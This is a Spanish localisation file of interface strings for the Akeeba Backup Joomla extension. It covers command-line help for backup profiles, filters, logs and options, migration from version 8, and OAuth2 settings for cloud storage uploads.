COM_AKEEBABACKUP_CLI_FILTER_MULTIDB_ERR_CANNOT_CONNECT="No se ha podido conectar con la base de datos '%s'. El servidor ha informado '%s'. Use la opción --no-check para continuar de todos modos, pero tenga en cuenta que su copia de seguridad probablemente resultará en un error."
COM_AKEEBABACKUP_CLI_FILTER_MULTIDB_ERR_FAILED="No se ha podido incluir la base de datos '%s'."
COM_AKEEBABACKUP_CLI_FILTER_MULTIDB_LBL_ADDED="Base de datos '%s' añadida."
COM_AKEEBABACKUP_CLI_FILTER_MULTIDB_HELP="<info>%command.name%</info> añadirá una base de datos adicional para que Akeeba Backup la incluya en la copia de seguridad.\nUso: <info>php %command.full_name%</info>"
COM_AKEEBABACKUP_CLI_FILTER_MULTIDB_DESC="Añade una base de datos adicional para que Akeeba Backup la incluya en la copia de seguridad."
COM_AKEEBABACKUP_CLI_FILTER_MULTIDB_OPT_PROFILE="El perfil de copia de seguridad a usar. Por defecto: 1."
COM_AKEEBABACKUP_CLI_FILTER_MULTIDB_OPT_DBDRIVER="El controlador de base de datos a usar: mysqli, pdomysql"
COM_AKEEBABACKUP_CLI_FILTER_MULTIDB_OPT_DBPORT="El puerto del servidor de base de datos. Omita para usar el predeterminado del controlador."
COM_AKEEBABACKUP_CLI_FILTER_MULTIDB_OPT_DBUSERNAME="El nombre de usuario de la conexión a la base de datos."
COM_AKEEBABACKUP_CLI_FILTER_MULTIDB_OPT_DBPASSWORD="La contraseña de la conexión a la base de datos."
COM_AKEEBABACKUP_CLI_FILTER_MULTIDB_OPT_DBNAME="El nombre de la base de datos."
COM_AKEEBABACKUP_CLI_FILTER_MULTIDB_OPT_DBPREFIX="El prefijo común de los nombres de tabla de la base de datos; permite cambiarlo durante la restauración."
COM_AKEEBABACKUP_CLI_FILTER_MULTIDB_OPT_CHECK="Comprobar la conexión a la base de datos antes de añadir el filtro."

COM_AKEEBABACKUP_CLI_FILTER_INCLUDEFOLDER_ERR_EXISTS="El directorio '%s' ya está incluido con la raíz '%s'. Elimine el filtro de inclusión anterior antes de intentar añadir el directorio de nuevo."
COM_AKEEBABACKUP_CLI_FILTER_INCLUDEFOLDER_ERR_FAILED="No se ha podido añadir el directorio '%s'."
COM_AKEEBABACKUP_CLI_FILTER_INCLUDEFOLDER_LBL_SUCCESS="Directorio '%s' añadido."
COM_AKEEBABACKUP_CLI_FILTER_INCLUDEFOLDER_HELP="<info>%command.name%</info> añadirá un directorio externo adicional para que Akeeba Backup lo incluya en la copia de seguridad.\nUso: <info>php %command.full_name%</info>"
COM_AKEEBABACKUP_CLI_FILTER_INCLUDEFOLDER_DESC="Añadir un directorio externo adicional para que Akeeba Backup lo incluya en la copia de seguridad."
COM_AKEEBABACKUP_CLI_FILTER_INCLUDEFOLDER_OPT_PROFILE="El perfil de copia de seguridad a usar. Por defecto: 1."
COM_AKEEBABACKUP_CLI_FILTER_INCLUDEFOLDER_OPT_DIRECTORY="Ruta completa al directorio externo a añadir a la copia de seguridad."
COM_AKEEBABACKUP_CLI_FILTER_INCLUDEFOLDER_OPT_VIRTUAL="La subcarpeta dentro del archivo de copia de seguridad donde se almacenarán estos archivos. Es una subcarpeta del «directorio virtual» cuyo nombre se establece en la página de Configuración. Omita para determinarlo automáticamente."

COM_AKEEBABACKUP_CLI_FILTER_LIST_TITLE="Lista de filtros de Akeeba Backup que coinciden con sus criterios"
COM_AKEEBABACKUP_CLI_FILTER_LIST_HELP="<info>%command.name%</info> listará los valores de filtro de un perfil de Akeeba Backup.\nUso: <info>php %command.full_name%</info>"
COM_AKEEBABACKUP_CLI_FILTER_LIST_DESC="Obtener los valores de filtro conocidos por Akeeba Backup."
COM_AKEEBABACKUP_CLI_FILTER_LIST_OPT_ROOT="Qué raíz de filtro usar. Por defecto [SITEROOT] o [SITEDB] según la opción --target. Se ignora para --type=include. Consejo: las raíces del sistema de archivos y de la base de datos son la columna «filter» para --type=include. Existen dos raíces especiales: [SITEROOT] (la raíz del sistema de archivos del sitio Joomla) y [SITEDB] (la base de datos principal del sitio Joomla)."
COM_AKEEBABACKUP_CLI_FILTER_LIST_OPT_PROFILE="El perfil de copia de seguridad a usar. Por defecto: 1."
COM_AKEEBABACKUP_CLI_FILTER_LIST_OPT_TARGET="El objetivo de los filtros que desea listar: fs (archivos y carpetas) o db (base de datos)"
COM_AKEEBABACKUP_CLI_FILTER_LIST_OPT_TYPE="El tipo de filtros que desea listar: exclude, include o regex"
COM_AKEEBABACKUP_CLI_FILTER_LIST_OPT_FORMAT="Formato de salida: table, json, yaml, csv, count."

COM_AKEEBABACKUP_CLI_LOG_GET_HELP="<info>%command.name%</info> recuperará un archivo de registro del directorio de salida del perfil de Akeeba Backup especificado. Nota: también se pueden recuperar archivos de registro de otros perfiles de copia de seguridad o instalaciones de Akeeba Backup que compartan el mismo directorio de salida.\nUso: <info>php %command.full_name%</info>"
COM_AKEEBABACKUP_CLI_LOG_GET_DESC="Recuperar un archivo de registro conocido por Akeeba Backup"
COM_AKEEBABACKUP_CLI_LOG_GET_OPT_PROFILE_ID="Se recuperarán los archivos de registro del directorio de salida de este perfil de Akeeba Backup"
COM_AKEEBABACKUP_CLI_LOG_GET_OPT_LOG_TAG="La etiqueta del archivo de registro a recuperar"

COM_AKEEBABACKUP_CLI_LOG_LIST_TITLE="Lista de archivos de registro de Akeeba Backup para el directorio de salida %s"
COM_AKEEBABACKUP_CLI_LOG_LIST_HELP="<info>%command.name%</info> listará todos los archivos de registro en el directorio de salida del perfil de Akeeba Backup especificado. Nota: también se listarán los archivos de registro de otros perfiles de copia de seguridad o instalaciones de Akeeba Backup que compartan el mismo directorio de salida.\nUso: <info>php %command.full_name%</info>"
COM_AKEEBABACKUP_CLI_LOG_LIST_DESC="Lista los archivos de registro conocidos por Akeeba Backup"
COM_AKEEBABACKUP_CLI_LOG_LIST_OPT_PROFILE_ID="Se listarán los archivos de registro del directorio de salida de este perfil de Akeeba Backup"
COM_AKEEBABACKUP_CLI_LOG_LIST_OPT_FORMAT="Formato de salida: table, json, yaml, csv, count."

COM_AKEEBABACKUP_CLI_OPTIONS_GET_ERR_INVALID_PROFILE="No se ha encontrado el perfil n.º %s."
COM_AKEEBABACKUP_CLI_OPTIONS_GET_ERR_NO_MULTIPLE="Este comando no puede devolver múltiples valores para el prefijo de clave parcial \"%s\". Proporcione el nombre exacto de la clave que desea recuperar. Use el comando akeeba:option:list para ver las claves disponibles con el prefijo %s."
COM_AKEEBABACKUP_CLI_OPTIONS_GET_ERR_INVALID_KEY="Clave no válida \"%s\"."
COM_AKEEBABACKUP_CLI_OPTIONS_GET_HELP="<info>%command.name%</info> obtendrá el valor de una opción de configuración de un perfil de Akeeba Backup.\nUso: <info>php %command.full_name%</info>"
COM_AKEEBABACKUP_CLI_OPTIONS_GET_DESC="Obtiene el valor de una opción de configuración de un perfil de Akeeba Backup"
COM_AKEEBABACKUP_CLI_OPTIONS_GET_OPT_KEY="La clave de opción a recuperar"
COM_AKEEBABACKUP_CLI_OPTIONS_GET_OPT_PROFILE="El perfil de copia de seguridad a usar. Por defecto: 1."
COM_AKEEBABACKUP_CLI_OPTIONS_GET_OPT_FORMAT="Formato de salida: text, json, print_r, var_dump, var_export."

COM_AKEEBABACKUP_CLI_OPTIONS_LIST_ERR_NO_SUCH_OPTION="No se han encontrado opciones que coincidan con sus criterios."
COM_AKEEBABACKUP_CLI_OPTIONS_LIST_HELP="<info>%command.name%</info> listará las opciones de configuración de un perfil de Akeeba Backup, incluidos sus títulos.\nUso: <info>php %command.full_name%</info>"
COM_AKEEBABACKUP_CLI_OPTIONS_LIST_DESC="Lista las opciones de configuración de un perfil de Akeeba Backup, incluidos sus títulos"
COM_AKEEBABACKUP_CLI_OPTIONS_LIST_OPT_PROFILE="El perfil de copia de seguridad a usar. Por defecto: 1."
COM_AKEEBABACKUP_CLI_OPTIONS_LIST_OPT_FILTER="Devolver solo los registros cuyas claves comiencen con el filtro indicado."
COM_AKEEBABACKUP_CLI_OPTIONS_LIST_OPT_SORT_BY="Ordenar la salida por la columna indicada: none, key, value, type, default, title, description, section"
COM_AKEEBABACKUP_CLI_OPTIONS_LIST_OPT_SORT_ORDER="Orden de clasificación: asc, desc."
COM_AKEEBABACKUP_CLI_OPTIONS_LIST_OPT_FORMAT="Formato de salida: table, json, yaml, csv, count."

COM_AKEEBABACKUP_CLI_OPTIONS_SET_ERR_OUT_OF_BOUNDS="Valor no válido '%s': fuera de los límites permitidos."
COM_AKEEBABACKUP_CLI_OPTIONS_SET_ERR_INVALID_BOOL="Valor booleano no válido '%s': use uno de 0, false, no, off, 1, true, yes u on.'"
COM_AKEEBABACKUP_CLI_OPTIONS_SET_ERR_INVALID_ENUM="Valor enumerado no válido '%s'. Debe ser uno de %s."
COM_AKEEBABACKUP_CLI_OPTIONS_SET_ERR_HIDDEN="No está permitido establecer la opción oculta '%s'."
COM_AKEEBABACKUP_CLI_OPTIONS_SET_ERR_UNKNOWN_TYPE="Tipo %s desconocido para la opción '%s'. ¿Ha manipulado manualmente los archivos JSON de opciones?"
COM_AKEEBABACKUP_CLI_OPTIONS_SET_ERR_PROTECTED="No se puede establecer la opción protegida '%s'. Use la opción --force para anular la protección."
COM_AKEEBABACKUP_CLI_OPTIONS_SET_ERR_GENERAL="No se ha podido establecer la opción '%s'."
COM_AKEEBABACKUP_CLI_OPTIONS_SET_LBL_SUCCESS="La opción '%s' se ha establecido correctamente a '%s'"
COM_AKEEBABACKUP_CLI_OPTIONS_SET_HELP="<info>%command.name%</info> establecerá el valor de una opción de configuración de un perfil de Akeeba Backup.\nUso: <info>php %command.full_name%</info>"
COM_AKEEBABACKUP_CLI_OPTIONS_SET_DESC="Establece el valor de una opción de configuración de un perfil de Akeeba Backup"
COM_AKEEBABACKUP_CLI_OPTIONS_SET_OPT_KEY="La clave de opción a establecer"
COM_AKEEBABACKUP_CLI_OPTIONS_SET_OPT_VALUE="El valor a establecer"
COM_AKEEBABACKUP_CLI_OPTIONS_SET_OPT_PROFILE="El perfil de copia de seguridad a usar. Por defecto: 1."
COM_AKEEBABACKUP_CLI_OPTIONS_SET_OPT_FORCE="Permitir establecer el valor de opciones protegidas."

COM_AKEEBABACKUP_CLI_PROFILE_COPY_ERR_NOT_FOUND="No se puede copiar el perfil %s; perfil no encontrado."
COM_AKEEBABACKUP_CLI_PROFILE_COPY_ERR_FAILED="No se puede copiar el perfil n.º %s: %s"
COM_AKEEBABACKUP_CLI_PROFILE_COPY_LBL_SUCCESS="Copia realizada correctamente. Se ha creado un nuevo perfil con ID %s."
COM_AKEEBABACKUP_CLI_PROFILE_COPY_HELP="<info>%command.name%</info> creará una copia de un perfil de Akeeba Backup.\nUso: <info>php %command.full_name%</info>"
COM_AKEEBABACKUP_CLI_PROFILE_COPY_DESC="Crea una copia de un perfil de Akeeba Backup"
COM_AKEEBABACKUP_CLI_PROFILE_COPY_OPT_ID="El ID numérico del perfil a copiar"
COM_AKEEBABACKUP_CLI_PROFILE_COPY_OPT_FILTERS="Incluir los filtros en la copia."
COM_AKEEBABACKUP_CLI_PROFILE_COPY_OPT_DESCRIPTION="Descripción para el nuevo perfil de copia de seguridad. Usa la descripción del perfil anterior si no se especifica."
COM_AKEEBABACKUP_CLI_PROFILE_COPY_OPT_QUICKICON="¿Debe el nuevo perfil de copia de seguridad tener un icono de copia de seguridad con un clic? Copia la configuración del perfil anterior si no se especifica."
COM_AKEEBABACKUP_CLI_PROFILE_COPY_OPT_FORMAT="El formato de la respuesta. Use JSON para obtener un ID numérico del nuevo perfil de copia de seguridad en formato JSON. Valores: text, json"

COM_AKEEBABACKUP_CLI_PROFILE_CREATE_ERR_FAILED="No se puede crear el perfil: %s"
COM_AKEEBABACKUP_CLI_PROFILE_CREATE_LBL_SUCCESS="Se ha creado un nuevo perfil con ID %s."
COM_AKEEBABACKUP_CLI_PROFILE_CREATE_HELP="<info>%command.name%</info> creará un nuevo perfil de Akeeba Backup.\nUso: <info>php %command.full_name%</info>"
COM_AKEEBABACKUP_CLI_PROFILE_CREATE_DESC="Crea un nuevo perfil de Akeeba Backup"
COM_AKEEBABACKUP_CLI_PROFILE_CREATE_OPT_DESCRIPTION="Descripción para el nuevo perfil de copia de seguridad. Por defecto: \"Nuevo perfil de copia de seguridad\""
COM_AKEEBABACKUP_CLI_PROFILE_CREATE_OPT_QUICKICON="¿Debe el nuevo perfil de copia de seguridad tener un icono de copia de seguridad con un clic? Por defecto: 1"
COM_AKEEBABACKUP_CLI_PROFILE_CREATE_OPT_FORMAT="El formato de la respuesta. Use JSON para obtener un ID numérico del nuevo perfil de copia de seguridad en formato JSON. Valores: text, json"
COM_AKEEBABACKUP_CLI_PROFILE_CREATE_LBL_NEW_PROFILE="Nuevo perfil de copia de seguridad"

COM_AKEEBABACKUP_CLI_PROFILE_DELETE_ERR_DEFAULT="No se puede eliminar el perfil de copia de seguridad predeterminado (n.º 1)"
COM_AKEEBABACKUP_CLI_PROFILE_DELETE_ERR_NOTFOUND="No se puede eliminar el perfil %s; perfil no encontrado."
COM_AKEEBABACKUP_CLI_PROFILE_DELETE_ERR_FAILED="No se puede eliminar el perfil n.º %s: %s"
COM_AKEEBABACKUP_CLI_PROFILE_DELETE_LBL_SUCCESS="El perfil n.º %d ha sido eliminado."
COM_AKEEBABACKUP_CLI_PROFILE_DELETE_HELP="<info>%command.name%</info> eliminará un perfil de Akeeba Backup.\nUso: <info>php %command.full_name%</info>"
COM_AKEEBABACKUP_CLI_PROFILE_DELETE_DESC="Eliminar un perfil de Akeeba Backup"
COM_AKEEBABACKUP_CLI_PROFILE_DELETE_OPT_ID="El ID numérico del perfil a eliminar"

COM_AKEEBABACKUP_CLI_PROFILE_EXPORT_ERR_NOT_FOUND="No se puede exportar el perfil %s; perfil no encontrado."
COM_AKEEBABACKUP_CLI_PROFILE_EXPORT_HELP="<info>%command.name%</info> exportará un perfil de Akeeba Backup como cadena JSON.\nUso: <info>php %command.full_name%</info>"
COM_AKEEBABACKUP_CLI_PROFILE_EXPORT_DESC="Exporta un perfil de Akeeba Backup como cadena JSON"
COM_AKEEBABACKUP_CLI_PROFILE_EXPORT_OPT_ID="El ID numérico del perfil a modificar"
COM_AKEEBABACKUP_CLI_PROFILE_EXPORT_OPT_FILTERS="¿Incluir la configuración de filtros?"

COM_AKEEBABACKUP_CLI_PROFILE_IMPORT_ERR_INVALID_JSON="No se puede procesar la entrada; cadena JSON no válida o archivo no encontrado."
COM_AKEEBABACKUP_CLI_PROFILE_IMPORT_ERR_GENERIC="No se puede importar el perfil: %s"
COM_AKEEBABACKUP_CLI_PROFILE_IMPORT_LBL_SUCCESS="JSON importado correctamente como perfil n.º %s"
COM_AKEEBABACKUP_CLI_PROFILE_IMPORT_HELP="<info>%command.name%</info> importará un perfil de Akeeba Backup desde una cadena JSON.\nUso: <info>php %command.full_name%</info>"
COM_AKEEBABACKUP_CLI_PROFILE_IMPORT_DESC="Importa un perfil de Akeeba Backup desde una cadena JSON"
COM_AKEEBABACKUP_CLI_PROFILE_IMPORT_OPT_FILEORJSON="Una ruta a un archivo JSON de exportación de perfil de Akeeba Backup o una cadena JSON literal. Usa la entrada estándar (STDIN) si se omite."
COM_AKEEBABACKUP_CLI_PROFILE_IMPORT_OPT_FORMAT="El formato de la respuesta. Use json para obtener un ID numérico del nuevo perfil de copia de seguridad en formato JSON. Valores: json, text"

COM_AKEEBABACKUP_CLI_PROFILE_LIST_HELP="<info>%command.name%</info> listará los perfiles de copia de seguridad de Akeeba Backup.\nUso: <info>php %command.full_name%</info>"
COM_AKEEBABACKUP_CLI_PROFILE_LIST_DESC="Lista los perfiles de copia de seguridad de Akeeba Backup"
COM_AKEEBABACKUP_CLI_PROFILE_LIST_OPT_FORMAT="Formato de salida: table, json, yaml, csv, count."

COM_AKEEBABACKUP_CLI_PROFILE_MODIFY_ERR_NOTFOUND="No se puede modificar el perfil %s; perfil no encontrado."
COM_AKEEBABACKUP_CLI_PROFILE_MODIFY_ERR_GENERIC="No se puede modificar el perfil n.º %s: %s"
COM_AKEEBABACKUP_CLI_PROFILE_MODIFY_LBL_SUCCESS="El perfil n.º %s se ha modificado correctamente."
COM_AKEEBABACKUP_CLI_PROFILE_MODIFY_HELP="<info>%command.name%</info> modificará un perfil de Akeeba Backup.\nUso: <info>php %command.full_name%</info>"
COM_AKEEBABACKUP_CLI_PROFILE_MODIFY_DESC="Modifica un perfil de Akeeba Backup"
COM_AKEEBABACKUP_CLI_PROFILE_MODIFY_OPT_ID="El ID numérico del perfil a modificar"
COM_AKEEBABACKUP_CLI_PROFILE_MODIFY_OPT_DESCRIPTION="Descripción para el nuevo perfil de copia de seguridad. Usa la descripción del perfil anterior si no se especifica."
COM_AKEEBABACKUP_CLI_PROFILE_MODIFY_OPT_QUICKICON="¿Debe el nuevo perfil de copia de seguridad tener un icono de copia de seguridad con un clic? Copia la configuración del perfil anterior si no se especifica."

COM_AKEEBABACKUP_CLI_PROFILE_RESET_ERR_NOTFOUND="No se puede modificar el perfil %s; perfil no encontrado."
COM_AKEEBABACKUP_CLI_PROFILE_RESET_ERR_GENERIC="No se puede restablecer el perfil n.º %s: %s"
COM_AKEEBABACKUP_CLI_PROFILE_RESET_LBL_SUCCESS="El perfil n.º %s se ha restablecido correctamente."
COM_AKEEBABACKUP_CLI_PROFILE_RESET_HELP="<info>%command.name%</info> restablecerá un perfil de Akeeba Backup.\nUso: <info>php %command.full_name%</info>"
COM_AKEEBABACKUP_CLI_PROFILE_RESET_DESC="Restablece un perfil de Akeeba Backup"
COM_AKEEBABACKUP_CLI_PROFILE_RESET_OPT_ID="El ID numérico del perfil a modificar"
COM_AKEEBABACKUP_CLI_PROFILE_RESET_OPT_FILTERS="¿Restablecer los filtros?"
COM_AKEEBABACKUP_CLI_PROFILE_RESET_OPT_CONFIGURATION="¿Restablecer la configuración?"

COM_AKEEBABACKUP_CLI_SYSCONFIG_GET_ERR_CANNOT_FIND="No se encuentra la opción \"%s\"."
COM_AKEEBABACKUP_CLI_SYSCONFIG_GET_HELP="<info>%command.name%</info> obtendrá el valor de una opción global del componente Akeeba Backup.\nUso: <info>php %command.full_name%</info>"
COM_AKEEBABACKUP_CLI_SYSCONFIG_GET_DESC="Obtiene el valor de una opción global del componente Akeeba Backup"
COM_AKEEBABACKUP_CLI_SYSCONFIG_GET_OPT_KEY="La clave de opción a recuperar"
COM_AKEEBABACKUP_CLI_SYSCONFIG_GET_OPT_FORMAT="Formato de salida: text, json, print_r, var_dunp, var_export."

COM_AKEEBABACKUP_CLI_SYSCONFIG_LIST_HELP="<info>%command.name%</info> listará las opciones globales del componente Akeeba Backup.\nUso: <info>php %command.full_name%</info>"
COM_AKEEBABACKUP_CLI_SYSCONFIG_LIST_DESC="Lista las opciones globales del componente Akeeba Backup"
COM_AKEEBABACKUP_CLI_SYSCONFIG_LIST_OPT_FORMAT="Formato de salida: table, json, yaml, csv, count."

COM_AKEEBABACKUP_CLI_SYSCONFIG_SET_LBL_SETTING="Opción del componente \"%s\" establecida a \"%s\""
COM_AKEEBABACKUP_CLI_SYSCONFIG_SET_HELP="<info>%command.name%</info> establecerá el valor de una opción global del componente Akeeba Backup.\nUso: <info>php %command.full_name%</info>"
COM_AKEEBABACKUP_CLI_SYSCONFIG_SET_DESC="Establece el valor de una opción global del componente Akeeba Backup"
COM_AKEEBABACKUP_CLI_SYSCONFIG_SET_OPT_KEY="La clave de opción a establecer"
COM_AKEEBABACKUP_CLI_SYSCONFIG_SET_OPT_VALUE="El valor de la opción a establecer"
COM_AKEEBABACKUP_CLI_SYSCONFIG_SET_OPT_FORMAT="Formato de salida: text, json, print_r, var_dunp, var_export."

COM_AKEEBABACKUP_CLI_HEAD_MIGRATE="Migración desde Akeeba Backup 8"
COM_AKEEBABACKUP_CLI_MIGRATE_COMMAND_DESC="Migra la configuración desde Akeeba Backup 8"
COM_AKEEBABACKUP_CLI_BACKUP_MIGRATE_HELP="<info>%command.name%</info> migrará la configuración y los archivos de copia de seguridad desde Akeeba Backup 8, si está instalado. ADVERTENCIA: ESTO SOBRESCRIBIRÁ TODA SU CONFIGURACIÓN ACTUAL SIN PEDIR CONFIRMACIÓN. Este comando está destinado únicamente a usuarios responsables.\nUso: <info>php %command.full_name%</info>"
COM_AKEEBABACKUP_CLI_MIGRATE_NOAB8="Akeeba Backup 8 no está instalado en su sitio."

COM_AKEEBABACKUP_LBL_CPANEL_UPGRADE_FROM_AKEEBABACKUP8_HEAD="Migre su configuración desde una versión anterior de Akeeba Backup"
COM_AKEEBABACKUP_LBL_CPANEL_UPGRADE_FROM_AKEEBABACKUP8_BODY="Hemos detectado que tiene instalada una versión anterior de Akeeba Backup en su sitio. Haga clic en el botón a continuación para intentar una importación automática de su configuración, historial de copias de seguridad y archivos de copia de seguridad almacenados en el directorio de salida predeterminado. Lea atentamente la documentación para entender los riesgos y limitaciones de esta operación."
COM_AKEEBABACKUP_LBL_CPANEL_UPGRADE_FROM_AKEEBABACKUP8_BTN="Migrar configuración"

COM_AKEEBABACKUP_LBL_CPANEL_UPGRADED_FROM_AKEEBABACKUP8_HEAD="Ya ha migrado su configuración desde una versión anterior de Akeeba Backup"
COM_AKEEBABACKUP_LBL_CPANEL_UPGRADED_FROM_AKEEBABACKUP8_BODY="Ya ha migrado su configuración desde una versión anterior de Akeeba Backup. Si desea ejecutar la migración de nuevo, haga clic en «Migrar configuración». Si está satisfecho con la migración, haga clic en «Mostrarme qué desinstalar» para abrir la página «Extensiones: Gestionar» de Joomla con la extensión antigua de Akeeba Backup; a continuación podrá seleccionarla y hacer clic en Desinstalar para eliminarla."
COM_AKEEBABACKUP_LBL_CPANEL_UPGRADED_FROM_AKEEBABACKUP8_NOTE="Si la desinstalación de la versión antigua de Akeeba Backup falla, haga lo siguiente. Primero, instale la última versión de Akeeba Backup 8. Después, instale la última versión de Akeeba Backup para Joomla 4. Vuelva a esta página y haga clic en «Mostrarme qué desinstalar». Podrá desinstalarlo sin problemas. Tenga en cuenta que los mensajes sobre FOF o FEF que no pueden desinstalarse pueden ignorarse; Akeeba Backup 8 se desinstalará independientemente de estos mensajes."
COM_AKEEBABACKUP_LBL_CPANEL_UPGRADED_FROM_AKEEBABACKUP8_BTN="Mostrarme qué desinstalar"

COM_AKEEBABACKUP_UPGRADE="Migración de configuración"
COM_AKEEBABACKUP_UPGRADE_LBL_WARNING_STANDARD="Esta operación sobrescribirá toda su configuración existente e historial de copias de seguridad."
COM_AKEEBABACKUP_UPGRADE_LBL_WARNING_INCOMPATIBLE_HEAD="No se cumplen los requisitos de migración"
COM_AKEEBABACKUP_UPGRADE_LBL_WARNING_INCOMPATIBLE_BODY="No hemos detectado una versión compatible de Akeeba Backup. Si intenta ejecutar la migración ahora, puede experimentar errores y/o pérdida de datos. No continúe a menos que nuestros desarrolladores le hayan indicado expresamente que lo haga. ¡Ignore esta grave advertencia bajo su propia responsabilidad y riesgo!"
COM_AKEEBABACKUP_UPGRADE_LBL_WARNING_ALREADY_RAN_HEAD="Ya ha migrado su configuración"
COM_AKEEBABACKUP_UPGRADE_LBL_WARNING_ALREADY_RAN_BODY="Ya ha ejecutado la migración anteriormente. Si intenta ejecutarla de nuevo, puede experimentar errores y/o pérdida de datos. No continúe a menos que nuestros desarrolladores le hayan indicado expresamente que lo haga. ¡Ignore esta grave advertencia bajo su propia responsabilidad y riesgo!"
COM_AKEEBABACKUP_UPGRADE_LBL_WHAT_IT_DOES="Akeeba Backup para Joomla! importará la configuración, los perfiles de copia de seguridad, el historial de copias de seguridad y <em>algunos</em> de los archivos de copia de seguridad (los que se encuentran en <code>administrator/components/com_akeeba/backup</code>) desde una versión anterior de Akeeba Backup (7.x u 8.x) ya instalada en su sitio, sobrescribiendo todos los datos existentes. Solo debe usar esta función la primera vez que instale Akeeba Backup para Joomla! para evitar la pérdida de datos."
COM_AKEEBABACKUP_UPGRADE_LBL_REMEMBER_TO_UNINSTALL="Recuerde desinstalar la versión antigua de Akeeba Backup una vez completada la migración. Use el elemento del menú lateral de Joomla llamado «Sistema». Encuentre el panel Gestionar y haga clic en Extensiones. Busque y seleccione la extensión <em>paquete Akeeba Backup</em> de tipo «Paquete». Luego haga clic en el botón Desinstalar de la barra de herramientas."
COM_AKEEBABACKUP_UPGRADE_BTN_PROCEED="Proceder con la migración"
COM_AKEEBABACKUP_UPGRADE_LBL_SUCCESS="La migración de configuración se ha completado correctamente."
COM_AKEEBABACKUP_UPGRADE_LBL_FAIL="La migración de configuración no ha podido completarse. Es posible que deba importar manualmente sus perfiles de copia de seguridad y/o transferir e importar los archivos de copia de seguridad."

COM_AKEEBABACKUP_CONFIG_ENGINE_POSTPROC_ONEDRIVEAPP_TITLE="Subir a Microsoft OneDrive (Carpeta específica de la aplicación)"
COM_AKEEBABACKUP_CONFIG_ENGINE_POSTPROC_ONEDRIVEAPP_DESCRIPTION="Sube el archivo de copia de seguridad a Microsoft OneDrive, dentro de la carpeta específica de la aplicación para Akeeba Backup (<code>Apps/Akeeba Backup</code>). Esta opción es más limitada que las otras opciones de subida a OneDrive, pero es menos probable que cause problemas con algunas cuentas que presentan problemas de autenticación con las otras integraciones que ofrecemos."
COM_AKEEBABACKUP_CONFIG_ONEDRIVEAPP_DIRECTORY_TITLE="Subdirectorio en <code>Apps/Akeeba Backup</code>"
COM_AKEEBABACKUP_CONFIG_ONEDRIVEAPP_DIRECTORY_DESCRIPTION="El subdirectorio dentro de la carpeta específica de la aplicación Akeeba Backup (<code>Apps/Akeeba Backup</code>) en su unidad de Microsoft OneDrive donde se subirán los archivos de copia de seguridad. Use barras diagonales (<code>/</code>), no barras invertidas (<code>\\<code>), y ponga siempre una barra diagonal al principio. Correcto: <code>/alguna/cosa</code>. Incorrecto: <code>alguna\\cosa</code>. Una sola barra diagonal significa que los archivos se almacenarán en la raíz de la unidad. ¡NO incluya la ruta a la carpeta específica de la aplicación (<code>Apps/Akeeba Backup</code>); Microsoft OneDrive la añade automáticamente!"

COM_AKEEBABACKUP_CONFIG_OAUTH2_HEADER_LABEL="Ayudantes OAuth2"
COM_AKEEBABACKUP_CONFIG_OAUTH2_HEADER_DESC="Solo para la versión Professional. Permite tener una URL de ayudante OAuth2 personalizada en lugar de usar la proporcionada por Akeeba Ltd. Lea la documentación."

COM_AKEEBABACKUP_CONFIG_OAUTH2_CLIENT_BOX_LABEL="Ayudante OAuth2 para Box.com"
COM_AKEEBABACKUP_CONFIG_OAUTH2_CLIENT_BOX_DESC="Use Box.com con su propia aplicación de API OAuth2 en lugar de la proporcionada por Akeeba Ltd. Lea la documentación."
COM_AKEEBABACKUP_CONFIG_BOX_CLIENT_ID_LABEL="ID de cliente"
COM_AKEEBABACKUP_CONFIG_BOX_CLIENT_ID_DESC="El ID de cliente que obtiene de Box.com para su aplicación de API."
COM_AKEEBABACKUP_CONFIG_BOX_CLIENT_SECRET_LABEL="Secreto de cliente"
COM_AKEEBABACKUP_CONFIG_BOX_CLIENT_SECRET_DESC="El secreto de cliente que obtiene de Box.com para su aplicación de API."

COM_AKEEBABACKUP_CONFIG_OAUTH2_CLIENT_DROPBOX_LABEL="Ayudante OAuth2 para Dropbox"
COM_AKEEBABACKUP_CONFIG_OAUTH2_CLIENT_DROPBOX_DESC="Use Dropbox con su propia aplicación de API OAuth2 en lugar de la proporcionada por Akeeba Ltd. Lea la documentación."
COM_AKEEBABACKUP_CONFIG_DROPBOX_CLIENT_ID_LABEL="ID de cliente"
COM_AKEEBABACKUP_CONFIG_DROPBOX_CLIENT_ID_DESC="El ID de cliente que obtiene de Dropbox para su aplicación de API."
COM_AKEEBABACKUP_CONFIG_DROPBOX_CLIENT_SECRET_LABEL="Secreto de cliente"
COM_AKEEBABACKUP_CONFIG_DROPBOX_CLIENT_SECRET_DESC="El secreto de cliente que obtiene de Dropbox para su aplicación de API."

COM_AKEEBABACKUP_CONFIG_OAUTH2_CLIENT_GOOGLEDRIVE_LABEL="Ayudante OAuth2 para Google Drive"
COM_AKEEBABACKUP_CONFIG_OAUTH2_CLIENT_GOOGLEDRIVE_DESC="Use Google Drive con su propia aplicación de API OAuth2 en lugar de la proporcionada por Akeeba Ltd. Lea la documentación."
COM_AKEEBABACKUP_CONFIG_GOOGLEDRIVE_CLIENT_ID_LABEL="ID de cliente"
COM_AKEEBABACKUP_CONFIG_GOOGLEDRIVE_CLIENT_ID_DESC="El ID de cliente que obtiene de Google Cloud Console para su aplicación de API."
COM_AKEEBABACKUP_CONFIG_GOOGLEDRIVE_CLIENT_SECRET_LABEL="Secreto de cliente"
COM_AKEEBABACKUP_CONFIG_GOOGLEDRIVE_CLIENT_SECRET_DESC="El secreto de cliente que obtiene de Google Cloud Console para su aplicación de API."

COM_AKEEBABACKUP_CONFIG_OAUTH2_CLIENT_ONEDRIVEBUSINESS_LABEL="Ayudante OAuth2 para OneDrive"
COM_AKEEBABACKUP_CONFIG_OAUTH2_CLIENT_ONEDRIVEBUSINESS_DESC="Use OneDrive con su propia aplicación de API OAuth2 en lugar de la proporcionada por Akeeba Ltd. Lea la documentación."
COM_AKEEBABACKUP_CONFIG_ONEDRIVEBUSINESS_CLIENT_ID_LABEL="ID de cliente"
COM_AKEEBABACKUP_CONFIG_ONEDRIVEBUSINESS_CLIENT_ID_DESC="El ID de cliente que obtiene de OneDrive para su aplicación de API."
COM_AKEEBABACKUP_CONFIG_ONEDRIVEBUSINESS_CLIENT_SECRET_LABEL="Secreto de cliente"
COM_AKEEBABACKUP_CONFIG_ONEDRIVEBUSINESS_CLIENT_SECRET_DESC="El secreto de cliente que obtiene de OneDrive para su aplicación de API."

COM_AKEEBABACKUP_CONFIG_OAUTH2URLFIELD_YOU_WILL_NEED="Necesitará las siguientes URL."
